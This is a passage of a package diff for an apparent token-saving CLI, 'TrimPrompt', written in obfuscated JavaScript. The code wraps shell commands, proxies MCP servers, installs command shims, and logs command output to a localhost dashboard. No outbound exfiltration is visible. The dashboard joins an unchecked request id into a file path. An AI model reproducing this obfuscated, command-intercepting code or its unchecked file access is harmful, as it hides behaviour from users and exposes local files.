1990=function(){return _0x1725d2;};return a0_0x1990();}firstArg&&!subcommands['includes'](firstArg)?runProxy(args)['catch'](_0x3db5dc=>{const _0x1e1c2c=a0_0x58f592;console[_0x1e1c2c(0xba)]('[TrimPrompt]\x20Fatal\x20Proxy\x20Error:\x20'+_0x3db5dc[_0x1e1c2c(0x13b)]),process['exit'](0x1);}):program['parse'](process['argv']);
2
+ 'use strict';const a0_0xcf802e=a0_0x156b;(function(_0x55a790,_0x4db953){const _0x1a8a53=a0_0x156b,_0x2bd8b9=_0x55a790();while(!![]){try{const _0x2d3981=-parseInt(_0x1a8a53(0xe7))/0x1+-parseInt(_0x1a8a53(0x173))/0x2*(parseInt(_0x1a8a53(0x103))/0x3)+parseInt(_0x1a8a53(0x148))/0x4+-parseInt(_0x1a8a53(0xe3))/0x5*(parseInt(_0x1a8a53(0x15b))/0x6)+parseInt(_0x1a8a53(0x13e))/0x7*(-parseInt(_0x1a8a53(0x154))/0x8)+-parseInt(_0x1a8a53(0x135))/0x9+parseInt(_0x1a8a53(0x15c))/0xa;if(_0x2d3981===_0x4db953)break;else _0x2bd8b9['push'](_0x2bd8b9['shift']());}catch(_0x1295e9){_0x2bd8b9['push'](_0x2bd8b9['shift']());}}}(a0_0x8fec,0x36004));var __createBinding=this&&this[a0_0xcf802e(0xea)]||(Object[a0_0xcf802e(0x119)]?function(_0x593e46,_0x27e4a3,_0x1d8a9e,_0x3ed3f7){const _0x546842=a0_0xcf802e;if(_0x3ed3f7===undefined)_0x3ed3f7=_0x1d8a9e;var _0x279ab4=Object[_0x546842(0xff)](_0x27e4a3,_0x1d8a9e);(!_0x279ab4||('get'in _0x279ab4?!_0x27e4a3[_0x546842(0xf1)]:_0x279ab4[_0x546842(0x170)]||_0x279ab4[_0x546842(0xe9)]))&&(_0x279ab4={'enumerable':!![],'get':function(){return _0x27e4a3[_0x1d8a9e];}}),Object[_0x546842(0x10b)](_0x593e46,_0x3ed3f7,_0x279ab4);}:function(_0x2eecbe,_0x34ea4b,_0x55e186,_0x1c1300){if(_0x1c1300===undefined)_0x1c1300=_0x55e186;_0x2eecbe[_0x1c1300]=_0x34ea4b[_0x55e186];}),__setModuleDefault=this&&this[a0_0xcf802e(0x10a)]||(Object[a0_0xcf802e(0x119)]?function(_0x430714,_0x1b20d3){const _0x5bf1a1=a0_0xcf802e;Object[_0x5bf1a1(0x10b)](_0x430714,_0x5bf1a1(0x11d),{'enumerable':!![],'value':_0x1b20d3});}:function(_0x18436c,_0x164063){const _0xa5102c=a0_0xcf802e;_0x18436c[_0xa5102c(0x11d)]=_0x164063;}),__importStar=this&&this['__importStar']||(function(){var _0x239505=function(_0x1f8af2){const _0x3272d3=a0_0x156b;return _0x239505=Object[_0x3272d3(0x163)]||function(_0x50e275){const _0x3a4bdb=_0x3272d3;var _0x325851=[];for(var _0x5dcde8 in _0x50e275)if(Object[_0x3a4bdb(0x16b)][_0x3a4bdb(0x127)][_0x3a4bdb(0x10e)](_0x50e275,_0x5dcde8))_0x325851[_0x325851[_0x3a4bdb(0x175)]]=_0x5dcde8;return _0x325851;},_0x239505(_0x1f8af2);};return function(_0x2c0783){const _0x27dbe9=a0_0x156b;if(_0x2c0783&&_0x2c0783[_0x27dbe9(0xf1)])return _0x2c0783;var _0x1fe319={};if(_0x2c0783!=null){for(var _0x485c0d=_0x239505(_0x2c0783),_0x1d4ea8=0x0;_0x1d4ea8<_0x485c0d[_0x27dbe9(0x175)];_0x1d4ea8++)if(_0x485c0d[_0x1d4ea8]!==_0x27dbe9(0x11d))__createBinding(_0x1fe319,_0x2c0783,_0x485c0d[_0x1d4ea8]);}return __setModuleDefault(_0x1fe319,_0x2c0783),_0x1fe319;};}());Object[a0_0xcf802e(0x10b)](exports,a0_0xcf802e(0xf1),{'value':!![]});const commander_1=require(a0_0xcf802e(0x109)),executor_1=require(a0_0xcf802e(0x131)),filters_1=require(a0_0xcf802e(0x149)),tracker_1=require('./tracker'),cache_1=require(a0_0xcf802e(0x176)),shims_1=require(a0_0xcf802e(0x167)),dashboard_1=require(a0_0xcf802e(0x12e)),program=new commander_1['Command']();function a0_0x8fec(){const _0xe1ebb0=['5yTcnDr','<server-command>','some','-p,\x20--port\x20<number>','284675PEAVfr','logExecution','configurable','__createBinding','<commandLine>','-m,\x20--model\x20<string>','-sb','--pretty=format:%h\x20%s\x20(%ar)\x20(%an)%n%b%n---END---','Model\x20Context:\x20\x20\x20\x20\x20','\x20(after\x20Shave)','__esModule','npx','-50','dashboard','toLocaleString','\x20\x20\x20\x20\x20\x20\x20TRIMPROMPT.AI\x20SAVINGS\x20SUMMARY\x20\x20\x20\x20\x20\x20\x20\x20','Raw\x20Tokens:\x20\x20\x20\x20\x20\x20\x20\x20','--format','get','includes','<action>','log','stats','write','getOwnPropertyDescriptor','port','total_raw_tokens','argv','3RpHVny','./mcp','test','node','Install\x20or\x20uninstall\x20system\x20command\x20shims','get\x20or\x20set','commander','__setModuleDefault','defineProperty','description','env','call','-10','set','stderr','compressed_cost_usd','toFixed','[TrimPrompt]\x20Autodetected\x20MCP\x20server\x20execution.\x20Activating\x20real-time\x20JSON-RPC\x20proxy...','trim','then','server-mcp','command','create','Start\x20the\x20local\x20developer\x20dashboard','Tokens\x20Saved:\x20\x20\x20\x20\x20\x20','[server-args...]','default','--pretty','Actual\x20Cost:\x20\x20\x20\x20\x20\x20\x20$','modelcontextprotocol','--no-merges','uninstallShims','=============================================','toLowerCase','shims','platform','hasOwnProperty','<key>','startsWith','win32','install\x20or\x20uninstall','name','bun','./dashboard','--oneline','every','./executor','--max-count','model','Money\x20Saved:\x20\x20\x20\x20\x20\x20\x20$','2213838GBdPnR','--short','uninstall','parse','proxy','\x20USD','4000','Compressed:\x20\x20\x20\x20\x20\x20\x20\x20','Manage\x20local\x20configuration\x20parameters','329BAAblO','executeCommand','rewriteCommand','Reduction\x20Rate:\x20\x20\x20\x20','mcp','alias','install','resolve','redaction_enabled','argument','1228504HcElNC','./filters','--min-parents','action','message','installShims','savings_percentage','--merges','true','error','\x20=\x20','push','27336Ucktgd','exitCode','Port\x20to\x20run\x20the\x20dashboard\x20on','@modelcontextprotocol/','status','rewrite','cmd','2228586JEJGXO','9999750wbvhJg','Arguments\x20for\x20the\x20target\x20MCP\x20server','getStatsSummary','args','version','raw_cost_usd','total_tokens_saved','getOwnPropertyNames','join','stdout','mcp-proxy','./shims','money_saved_usd','slice','option','prototype','Check\x20a\x20command\x20line\x20and\x20return\x20the\x20optimized\x20command\x20line','config','tracker','setConfig','writable','startDashboard','exit','46452sUStOm','TRIMPROMPT_DISABLED','length','./cache','model_name','false','[value]','dedup','yarn','help','--version','--branch','\x0a=============================================','mcp-server'];a0_0x8fec=function(){return _0xe1ebb0;};return a0_0x8fec();}function isDisabled(){const _0x131720=a0_0xcf802e;return process[_0x131720(0x10d)][_0x131720(0x174)]==='1';}function a0_0x156b(_0x4996fd,_0x4508d0){const _0x8fec86=a0_0x8fec();return a0_0x156b=function(_0x156b71,_0x231065){_0x156b71=_0x156b71-0xdb;let _0x39a1c=_0x8fec86[_0x156b71];return _0x39a1c;},a0_0x156b(_0x4996fd,_0x4508d0);}function adjustCommandArgs(_0x5aaa37,_0x2736aa){const _0x1e8f73=a0_0xcf802e,_0x1d6dd7=_0x5aaa37['toLowerCase']();if(_0x1d6dd7==='git'||_0x1d6dd7==='yadm'){const _0x585475=_0x2736aa[0x0];if(_0x585475===_0x1e8f73(0x158)){const _0x3f7702=_0x2736aa[_0x1e8f73(0x169)](0x1),_0x3b43dc=_0x3f7702[_0x1e8f73(0x175)]===0x0||_0x3f7702[_0x1e8f73(0x130)](_0x3e2dc4=>{const _0x180543=_0x1e8f73;return _0x3e2dc4==='-b'||_0x3e2dc4===_0x180543(0xe0)||_0x3e2dc4===_0x180543(0xed)||_0x3e2dc4==='-bs'||_0x3e2dc4==='-s'||_0x3e2dc4===_0x180543(0x136);});if(_0x3b43dc)return{'cmd':_0x5aaa37,'args':[_0x1e8f73(0x158),'--porcelain','-b']};}else{if(_0x585475==='log'){const _0x543e82=_0x2736aa['slice'](0x1),_0xdc1bd3=_0x543e82[_0x1e8f73(0xe5)](_0x292cd2=>_0x292cd2[_0x1e8f73(0x129)](_0x1e8f73(0x12f))||_0x292cd2['startsWith'](_0x1e8f73(0x11e))||_0x292cd2['startsWith'](_0x1e8f73(0xf8))),_0x44daa7=_0x543e82['some'](_0x35b879=>_0x35b879[_0x1e8f73(0x129)]('-')&&/^\d+$/[_0x1e8f73(0x105)](_0x35b879[_0x1e8f73(0x169)](0x1))||_0x35b879==='-n'||_0x35b879[_0x1e8f73(0x129)](_0x1e8f73(0x132))),_0x49aa37=[..._0x2736aa];if(!_0xdc1bd3){const _0x45f2e6=_0x1e8f73(0xee);_0x49aa37[_0x1e8f73(0x153)](process[_0x1e8f73(0x126)]===_0x1e8f73(0x12a)?'\x22'+_0x45f2e6+'\x22':_0x45f2e6);}!_0x44daa7&&(_0xdc1bd3?_0x49aa37[_0x1e8f73(0x153)](_0x1e8f73(0xf3)):_0x49aa37[_0x1e8f73(0x153)](_0x1e8f73(0x10f)));const _0x4a320c=_0x543e82[_0x1e8f73(0xe5)](_0x1f420c=>_0x1f420c===_0x1e8f73(0x14f)||_0x1f420c===_0x1e8f73(0x121)||_0x1f420c[_0x1e8f73(0x129)](_0x1e8f73(0x14a)));return!_0x4a320c&&!_0x44daa7&&_0x49aa37[_0x1e8f73(0x153)](_0x1e8f73(0x121)),{'cmd':_0x5aaa37,'args':_0x49aa37};}}}return{'cmd':_0x5aaa37,'args':_0x2736aa};}function isMcpServerExecution(_0x5883af,_0x3a1387){const _0x2c6887=a0_0xcf802e,_0x5e04d3=_0x5883af[_0x2c6887(0x124)](),_0x300506=_0x3a1387[_0x2c6887(0x164)]('\x20')['toLowerCase']();if(_0x5e04d3[_0x2c6887(0xfa)]('mcp')&&(_0x5e04d3[_0x2c6887(0xfa)]('server')||_0x5e04d3['includes'](_0x2c6887(0x139))))return!![];if(_0x5e04d3===_0x2c6887(0xf2)||_0x5e04d3===_0x2c6887(0x106)||_0x5e04d3===_0x2c6887(0x12d)||_0x5e04d3==='npm'||_0x5e04d3==='pnpm'||_0x5e04d3===_0x2c6887(0xdd)){if(_0x300506[_0x2c6887(0xfa)](_0x2c6887(0x157))||_0x300506[_0x2c6887(0xfa)](_0x2c6887(0x120))||_0x300506['includes'](_0x2c6887(0xe2))||_0x300506[_0x2c6887(0xfa)]('server-mcp'))return!![];}if(_0x3a1387['some'](_0x21b9fd=>{const _0x301bcd=_0x2c6887,_0x68faad=_0x21b9fd[_0x301bcd(0x124)]();return _0x68faad[_0x301bcd(0xfa)](_0x301bcd(0xe2))||_0x68faad[_0x301bcd(0xfa)](_0x301bcd(0x117))||_0x68faad['includes'](_0x301bcd(0x157))||_0x68faad===_0x301bcd(0x166)||_0x68faad===_0x301bcd(0x142);}))return!![];return![];}async function runProxy(_0x13b38b){const _0x59adcc=a0_0xcf802e;if(_0x13b38b['length']===0x0){program['help']();return;}const _0x3f587b=_0x13b38b[0x0],_0x53ee05=_0x13b38b[_0x59adcc(0x169)](0x1),_0x127d49=_0x13b38b[_0x59adcc(0x164)]('\x20');if(isDisabled()){const _0x397784=await(0x0,executor_1[_0x59adcc(0x13f)])(_0x3f587b,_0x53ee05);process[_0x59adcc(0x165)][_0x59adcc(0xfe)](_0x397784[_0x59adcc(0x165)]),process[_0x59adcc(0x111)][_0x59adcc(0xfe)](_0x397784[_0x59adcc(0x111)]),process[_0x59adcc(0x172)](_0x397784['exitCode']);}if(isMcpServerExecution(_0x3f587b,_0x53ee05)){console['error'](_0x59adcc(0x114));const {runMcpProxy:_0x4c56ce}=await Promise[_0x59adcc(0x145)]()['then'](()=>__importStar(require(_0x59adcc(0x104))));_0x4c56ce(_0x3f587b,_0x53ee05);return;}const _0x12c162=adjustCommandArgs(_0x3f587b,_0x53ee05),_0x211c84=await(0x0,executor_1[_0x59adcc(0x13f)])(_0x12c162[_0x59adcc(0x15a)],_0x12c162[_0x59adcc(0x15f)]),_0x382f38=(0x0,filters_1['compressOutput'])(_0x127d49,_0x211c84['stdout'],_0x211c84['stderr'],tracker_1[_0x59adcc(0x16e)]['getConfig']()[_0x59adcc(0x146)]),_0x4db20e=_0x211c84[_0x59adcc(0x155)]===0x0?(0x0,cache_1[_0x59adcc(0xdc)])(_0x127d49,_0x382f38):null,_0x40be68=_0x4db20e||_0x382f38,_0x3775bc=_0x211c84['stdout']+(_0x211c84[_0x59adcc(0x111)][_0x59adcc(0x115)]()[_0x59adcc(0x175)]>0x0?'\x0a'+_0x211c84[_0x59adcc(0x111)]:'');tracker_1[_0x59adcc(0x16e)][_0x59adcc(0xe8)](_0x127d49,_0x3775bc,_0x40be68,_0x211c84[_0x59adcc(0x155)]),_0x211c84[_0x59adcc(0x155)]===0x0?process[_0x59adcc(0x165)][_0x59adcc(0xfe)](_0x40be68+'\x0a'):(process[_0x59adcc(0x165)][_0x59adcc(0xfe)](_0x382f38+'\x0a'),_0x211c84[_0x59adcc(0x111)][_0x59adcc(0x115)]()['length']>0x0&&!_0x382f38['includes'](_0x211c84[_0x59adcc(0x111)]['trim']())&&process[_0x59adcc(0x111)][_0x59adcc(0xfe)](_0x211c84[_0x59adcc(0x111)]+'\x0a')),process['exit'](_0x211c84[_0x59adcc(0x155)]);}program[a0_0xcf802e(0x12c)](a0_0xcf802e(0x115))[a0_0xcf802e(0x10c)]('TrimPrompt.ai\x20-\x20Reduce\x20LLM\x20token\x20consumption\x20by\x2060-90%')[a0_0xcf802e(0x160)]('1.0.0'),program['command']('ui')[a0_0xcf802e(0x143)](a0_0xcf802e(0xf4))[a0_0xcf802e(0x10c)](a0_0xcf802e(0x11a))[a0_0xcf802e(0x16a)](a0_0xcf802e(0xe6),a0_0xcf802e(0x156),a0_0xcf802e(0x13b))['action'](_0x2ffd4d=>{const _0x493e41=a0_0xcf802e,_0x35ba31=parseInt(_0x2ffd4d[_0x493e41(0x100)],0xa);(0x0,dashboard_1[_0x493e41(0x171)])(_0x35ba31);}),program['command'](a0_0xcf802e(0xfd))[a0_0xcf802e(0x10c)]('Show\x20token\x20and\x20cost\x20savings\x20summary')[a0_0xcf802e(0x16a)](a0_0xcf802e(0xec),'Select\x20pricing\x20model\x20(e.g.\x20claude-3-5-sonnet,\x20gpt-4o)','claude-3-5-sonnet')[a0_0xcf802e(0x14b)](_0x2f85c4=>{const _0x335bed=a0_0xcf802e,_0x7aa3a1=tracker_1[_0x335bed(0x16e)][_0x335bed(0x15e)](_0x2f85c4[_0x335bed(0x133)]);console['log'](_0x335bed(0xe1)),console[_0x335bed(0xfc)](_0x335bed(0xf6)),console['log'](_0x335bed(0x123)),console[_0x335bed(0xfc)](_0x335bed(0xef)+_0x7aa3a1[_0x335bed(0x177)]),console[_0x335bed(0xfc)](_0x335bed(0xf7)+_0x7aa3a1[_0x335bed(0x101)][_0x335bed(0xf5)]()),console[_0x335bed(0xfc)](_0x335bed(0x13c)+_0x7aa3a1['total_compressed_tokens'][_0x335bed(0xf5)]()),console[_0x335bed(0xfc)](_0x335bed(0x11b)+_0x7aa3a1[_0x335bed(0x162)][_0x335bed(0xf5)]()),console[_0x335bed(0xfc)](_0x335bed(0x141)+_0x7aa3a1[_0x335bed(0x14e)]+'%'),console[_0x335bed(0xfc)]('Estimated\x20Cost:\x20\x20\x20\x20$'+_0x7aa3a1[_0x335bed(0x161)]['toFixed'](0x4)+'\x20(before\x20Shave)'),console['log'](_0x335bed(0x11f)+_0x7aa3a1[_0x335bed(0x112)][_0x335bed(0x113)](0x4)+_0x335bed(0xf0)),console[_0x335bed(0xfc)]('---------------------------------------------'),console[_0x335bed(0xfc)](_0x335bed(0x134)+_0x7aa3a1[_0x335bed(0x168)][_0x335bed(0x113)](0x4)+_0x335bed(0x13a)),console[_0x335bed(0xfc)]('=============================================\x0a');}),program[a0_0xcf802e(0x118)](a0_0xcf802e(0x16d))[a0_0xcf802e(0x10c)](a0_0xcf802e(0x13d))['argument'](a0_0xcf802e(0xfb),a0_0xcf802e(0x108))[a0_0xcf802e(0x147)](a0_0xcf802e(0x128),'config\x20parameter\x20name')[a0_0xcf802e(0x147)](a0_0xcf802e(0xdb),'value\x20to\x20set')[a0_0xcf802e(0x14b)]((_0x1c11af,_0x165c48,_0x41d709)=>{const _0x5bd818=a0_0xcf802e;if(_0x1c11af===_0x5bd818(0xf9)){const _0x237db3=tracker_1[_0x5bd818(0x16e)]['getConfig']();console[_0x5bd818(0xfc)](_0x165c48+':\x20'+_0x237db3[_0x165c48]);}else{if(_0x1c11af===_0x5bd818(0x110)){_0x41d709===undefined&&(console[_0x5bd818(0x151)]('Error:\x20Value\x20required\x20for\x20set\x20action'),process['exit'](0x1));let _0x288f0b=_0x41d709;if(_0x41d709===_0x5bd818(0x150))_0x288f0b=!![];if(_0x41d709===_0x5bd818(0x178))_0x288f0b=![];if(/^\d+$/[_0x5bd818(0x105)](_0x41d709))_0x288f0b=parseInt(_0x41d709,0xa);tracker_1['tracker'][_0x5bd818(0x16f)](_0x165c48,_0x288f0b),console[_0x5bd818(0xfc)]('Config\x20set\x20'+_0x165c48+_0x5bd818(0x152)+_0x41d709);}else console[_0x5bd818(0x151)]('Error:\x20Action\x20must\x20be\x20get\x20or\x20set'),process[_0x5bd818(0x172)](0x1);}}),program[a0_0xcf802e(0x118)](a0_0xcf802e(0x125))[a0_0xcf802e(0x10c)](a0_0xcf802e(0x107))[a0_0xcf802e(0x147)](a0_0xcf802e(0xfb),a0_0xcf802e(0x12b))[a0_0xcf802e(0x14b)](_0x24421c=>{const _0x2d4557=a0_0xcf802e;if(_0x24421c===_0x2d4557(0x144)){const _0x2f82eb=(0x0,shims_1[_0x2d4557(0x14d)])();console[_0x2d4557(0xfc)](_0x2f82eb[_0x2d4557(0x14c)]);}else{if(_0x24421c===_0x2d4557(0x137)){const _0x908253=(0x0,shims_1[_0x2d4557(0x122)])();console[_0x2d4557(0xfc)](_0x908253[_0x2d4557(0x14c)]);}else console[_0x2d4557(0x151)]('Error:\x20Action\x20must\x20be\x20install\x20or\x20uninstall'),process['exit'](0x1);}}),program['command'](a0_0xcf802e(0x159))[a0_0xcf802e(0x10c)](a0_0xcf802e(0x16c))[a0_0xcf802e(0x147)](a0_0xcf802e(0xeb),'Command\x20line\x20to\x20evaluate')[a0_0xcf802e(0x14b)](_0x2108d4=>{const _0x3fd6b2=a0_0xcf802e;if(isDisabled()){console[_0x3fd6b2(0xfc)](_0x2108d4);return;}const _0x3740aa=(0x0,filters_1[_0x3fd6b2(0x140)])(_0x2108d4);console[_0x3fd6b2(0xfc)](_0x3740aa);}),program[a0_0xcf802e(0x118)]('mcp-proxy')[a0_0xcf802e(0x143)](a0_0xcf802e(0x142))[a0_0xcf802e(0x10c)]('Proxy\x20wrapper\x20for\x20Model\x20Context\x20Protocol\x20(MCP)\x20servers\x20to\x20compact\x20tool\x20outputs')[a0_0xcf802e(0x147)](a0_0xcf802e(0xe4),'Command\x20to\x20launch\x20the\x20target\x20MCP\x20server')[a0_0xcf802e(0x147)](a0_0xcf802e(0x11c),a0_0xcf802e(0x15d))[a0_0xcf802e(0x14b)](async(_0x5242ae,_0x3e78d7)=>{const _0x4d5bc8=a0_0xcf802e,{runMcpProxy:_0x477f68}=await Promise[_0x4d5bc8(0x145)]()[_0x4d5bc8(0x116)](()=>__importStar(require(_0x4d5bc8(0x104))));_0x477f68(_0x5242ae,_0x3e78d7);});const args=process['argv'][a0_0xcf802e(0x169)](0x2),firstArg=args[0x0],subcommands=['ui','dashboard',a0_0xcf802e(0xfd),a0_0xcf802e(0x16d),a0_0xcf802e(0x125),a0_0xcf802e(0x159),a0_0xcf802e(0x166),a0_0xcf802e(0x142),a0_0xcf802e(0xde),'--help','-h',a0_0xcf802e(0x160),a0_0xcf802e(0xdf),'-v'];firstArg&&!subcommands['includes'](firstArg)?runProxy(args)['catch'](_0x3626f6=>{const _0x2f36d2=a0_0xcf802e;console[_0x2f36d2(0x151)]('[TrimPrompt]\x20Fatal\x20Proxy\x20Error:\x20'+_0x3626f6[_0x2f36d2(0x14c)]),process[_0x2f36d2(0x172)](0x1);}):program[a0_0xcf802e(0x138)](process[a0_0xcf802e(0x102)]);
package/dashboard.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x12bc9b=a0_0x27ab;function a0_0x5d15(){const _0x2e5f2a=['1967528Ccgcqa','prototype','__esModule','20648tsdbeA','get','\x0a[TrimPrompt]\x20Dashboard\x20server\x20started\x20at:\x20','logs','6AZBbfq','[TrimPrompt]\x20Dashboard\x20error:\x20','Compressed\x20output\x20log\x20file\x20not\x20found.','join','utf8','getOwnPropertyNames','path','index.html','__importStar','933GYLhwA','Press\x20Ctrl+C\x20in\x20this\x20terminal\x20to\x20shut\x20down.','getOwnPropertyDescriptor','__setModuleDefault','Raw\x20output\x20log\x20file\x20not\x20found.','11155485BQOzHI','getStatsSummary','default','sendFile','/api/stats/history','http://localhost:','readFileSync','create','json','.trimprompt','.comp.txt','auto','query','catch','defineProperty','configurable','length','197091qAiQop','4896045fJiIqZ','__createBinding','error','../src/index.html','EADDRINUSE','tracker','__importDefault','1691ZYoovY','./tracker','params','hasOwnProperty','model','7450525bmFPNV','30cYwEqG','/api/stats/inspect/:id','getLogs','1442QCFAld','code'];a0_0x5d15=function(){return _0x2e5f2a;};return a0_0x5d15();}function a0_0x27ab(_0x5fcbe7,_0x3204b8){const _0x5d15bb=a0_0x5d15();return a0_0x27ab=function(_0x27ab0d,_0x13f325){_0x27ab0d=_0x27ab0d-0x171;let _0x34ed1a=_0x5d15bb[_0x27ab0d];return _0x34ed1a;},a0_0x27ab(_0x5fcbe7,_0x3204b8);}(function(_0x8247b4,_0x2b6c94){const _0xfa104b=a0_0x27ab,_0x44fd3e=_0x8247b4();while(!![]){try{const _0x1fc145=-parseInt(_0xfa104b(0x1a2))/0x1*(-parseInt(_0xfa104b(0x172))/0x2)+-parseInt(_0xfa104b(0x184))/0x3*(-parseInt(_0xfa104b(0x177))/0x4)+-parseInt(_0xfa104b(0x1a7))/0x5*(-parseInt(_0xfa104b(0x17b))/0x6)+-parseInt(_0xfa104b(0x19b))/0x7+parseInt(_0xfa104b(0x174))/0x8+parseInt(_0xfa104b(0x19a))/0x9+-parseInt(_0xfa104b(0x1a8))/0xa*(parseInt(_0xfa104b(0x189))/0xb);if(_0x1fc145===_0x2b6c94)break;else _0x44fd3e['push'](_0x44fd3e['shift']());}catch(_0x2191c8){_0x44fd3e['push'](_0x44fd3e['shift']());}}}(a0_0x5d15,0xcd3fa));var __createBinding=this&&this[a0_0x12bc9b(0x19c)]||(Object['create']?function(_0x33bd16,_0x3fc47e,_0x47c6df,_0xf381ed){const _0xbbf5e4=a0_0x12bc9b;if(_0xf381ed===undefined)_0xf381ed=_0x47c6df;var _0x58dae9=Object[_0xbbf5e4(0x186)](_0x3fc47e,_0x47c6df);(!_0x58dae9||(_0xbbf5e4(0x178)in _0x58dae9?!_0x3fc47e[_0xbbf5e4(0x176)]:_0x58dae9['writable']||_0x58dae9[_0xbbf5e4(0x198)]))&&(_0x58dae9={'enumerable':!![],'get':function(){return _0x3fc47e[_0x47c6df];}}),Object[_0xbbf5e4(0x197)](_0x33bd16,_0xf381ed,_0x58dae9);}:function(_0x44c696,_0x38afd1,_0x58dce4,_0x3e190e){if(_0x3e190e===undefined)_0x3e190e=_0x58dce4;_0x44c696[_0x3e190e]=_0x38afd1[_0x58dce4];}),__setModuleDefault=this&&this[a0_0x12bc9b(0x187)]||(Object[a0_0x12bc9b(0x190)]?function(_0xe4051c,_0x48dfe1){const _0xca45ad=a0_0x12bc9b;Object[_0xca45ad(0x197)](_0xe4051c,_0xca45ad(0x18b),{'enumerable':!![],'value':_0x48dfe1});}:function(_0x35c8e3,_0x3b2e2e){const _0x354d4e=a0_0x12bc9b;_0x35c8e3[_0x354d4e(0x18b)]=_0x3b2e2e;}),__importStar=this&&this[a0_0x12bc9b(0x183)]||(function(){var _0x254193=function(_0x5c741f){const _0x469e25=a0_0x27ab;return _0x254193=Object[_0x469e25(0x180)]||function(_0x256269){const _0x1a13e5=_0x469e25;var _0x2fdb47=[];for(var _0x33c11e in _0x256269)if(Object[_0x1a13e5(0x175)][_0x1a13e5(0x1a5)]['call'](_0x256269,_0x33c11e))_0x2fdb47[_0x2fdb47[_0x1a13e5(0x199)]]=_0x33c11e;return _0x2fdb47;},_0x254193(_0x5c741f);};return function(_0x2a5394){const _0x1ba679=a0_0x27ab;if(_0x2a5394&&_0x2a5394['__esModule'])return _0x2a5394;var _0x27580d={};if(_0x2a5394!=null){for(var _0x3ddfe1=_0x254193(_0x2a5394),_0x37f78c=0x0;_0x37f78c<_0x3ddfe1[_0x1ba679(0x199)];_0x37f78c++)if(_0x3ddfe1[_0x37f78c]!==_0x1ba679(0x18b))__createBinding(_0x27580d,_0x2a5394,_0x3ddfe1[_0x37f78c]);}return __setModuleDefault(_0x27580d,_0x2a5394),_0x27580d;};}()),__importDefault=this&&this[a0_0x12bc9b(0x1a1)]||function(_0x4441f5){const _0x6b1e28=a0_0x12bc9b;return _0x4441f5&&_0x4441f5[_0x6b1e28(0x176)]?_0x4441f5:{'default':_0x4441f5};};Object[a0_0x12bc9b(0x197)](exports,'__esModule',{'value':!![]}),exports['startDashboard']=startDashboard;const express_1=__importDefault(require('express')),path=__importStar(require(a0_0x12bc9b(0x181))),fs=__importStar(require('fs')),os=__importStar(require('os')),open_1=__importDefault(require('open')),tracker_1=require(a0_0x12bc9b(0x1a3)),app=(0x0,express_1[a0_0x12bc9b(0x18b)])(),baseDir=path['join'](os['homedir'](),a0_0x12bc9b(0x192)),logsDir=path[a0_0x12bc9b(0x17e)](baseDir,a0_0x12bc9b(0x17a));app[a0_0x12bc9b(0x178)]('/',(_0x34c6bb,_0x593c81)=>{const _0x3af5b1=a0_0x12bc9b,_0x4c8d3a=path[_0x3af5b1(0x17e)](__dirname,_0x3af5b1(0x182));fs['existsSync'](_0x4c8d3a)?_0x593c81[_0x3af5b1(0x18c)](_0x4c8d3a):_0x593c81[_0x3af5b1(0x18c)](path[_0x3af5b1(0x17e)](__dirname,_0x3af5b1(0x19e)));}),app[a0_0x12bc9b(0x178)]('/api/stats/summary',(_0x5aad01,_0x105f27)=>{const _0x19fa9c=a0_0x12bc9b,_0x4d7e7c=_0x5aad01[_0x19fa9c(0x195)][_0x19fa9c(0x1a6)]||_0x19fa9c(0x194),_0x4bffc9=tracker_1[_0x19fa9c(0x1a0)][_0x19fa9c(0x18a)](_0x4d7e7c);_0x105f27[_0x19fa9c(0x191)](_0x4bffc9);}),app[a0_0x12bc9b(0x178)](a0_0x12bc9b(0x18d),(_0x34538b,_0x5dcb19)=>{const _0xe4087e=a0_0x12bc9b,_0x131e46=tracker_1['tracker'][_0xe4087e(0x171)]();_0x5dcb19[_0xe4087e(0x191)](_0x131e46);}),app['get'](a0_0x12bc9b(0x1a9),(_0x4f38df,_0x1f34a7)=>{const _0x1e61f3=a0_0x12bc9b,_0x19a1d0=_0x4f38df[_0x1e61f3(0x1a4)]['id'],_0x4edc07=path[_0x1e61f3(0x17e)](logsDir,_0x19a1d0+'.raw.txt'),_0x35d6ee=path[_0x1e61f3(0x17e)](logsDir,_0x19a1d0+_0x1e61f3(0x193));let _0x13825f=_0x1e61f3(0x188),_0x7f9bc1=_0x1e61f3(0x17d);try{fs['existsSync'](_0x4edc07)&&(_0x13825f=fs['readFileSync'](_0x4edc07,_0x1e61f3(0x17f))),fs['existsSync'](_0x35d6ee)&&(_0x7f9bc1=fs[_0x1e61f3(0x18f)](_0x35d6ee,_0x1e61f3(0x17f)));}catch(_0xdcc7a7){}_0x1f34a7[_0x1e61f3(0x191)]({'id':_0x19a1d0,'raw':_0x13825f,'compressed':_0x7f9bc1});});function startDashboard(_0x498b6e=0xfa0){const _0x27d641=a0_0x12bc9b;let _0x2700c1=_0x498b6e;const _0x347027=app['listen'](_0x2700c1,()=>{const _0x294b1a=a0_0x27ab,_0x3c61c7=_0x294b1a(0x18e)+_0x2700c1;console['log'](_0x294b1a(0x179)+_0x3c61c7),console['log'](_0x294b1a(0x185)),(0x0,open_1['default'])(_0x3c61c7)[_0x294b1a(0x196)](()=>{});});_0x347027['on'](_0x27d641(0x19d),_0xbbc9a8=>{const _0x3d84a2=_0x27d641;_0xbbc9a8[_0x3d84a2(0x173)]===_0x3d84a2(0x19f)?startDashboard(_0x2700c1+0x1):console[_0x3d84a2(0x19d)](_0x3d84a2(0x17c)+_0xbbc9a8['message']);});}
1
+ 'use strict';const a0_0x378c7b=a0_0x4aed;(function(_0x658c92,_0xda5c93){const _0x119687=a0_0x4aed,_0x1f5af7=_0x658c92();while(!![]){try{const _0x362c3e=parseInt(_0x119687(0x1d2))/0x1*(parseInt(_0x119687(0x1c7))/0x2)+parseInt(_0x119687(0x1e8))/0x3+-parseInt(_0x119687(0x1f0))/0x4*(parseInt(_0x119687(0x1ea))/0x5)+-parseInt(_0x119687(0x1f4))/0x6*(parseInt(_0x119687(0x1c5))/0x7)+-parseInt(_0x119687(0x1f2))/0x8*(parseInt(_0x119687(0x1d0))/0x9)+parseInt(_0x119687(0x1da))/0xa*(-parseInt(_0x119687(0x1f5))/0xb)+parseInt(_0x119687(0x1f1))/0xc;if(_0x362c3e===_0xda5c93)break;else _0x1f5af7['push'](_0x1f5af7['shift']());}catch(_0x46978d){_0x1f5af7['push'](_0x1f5af7['shift']());}}}(a0_0x17e5,0x97915));var 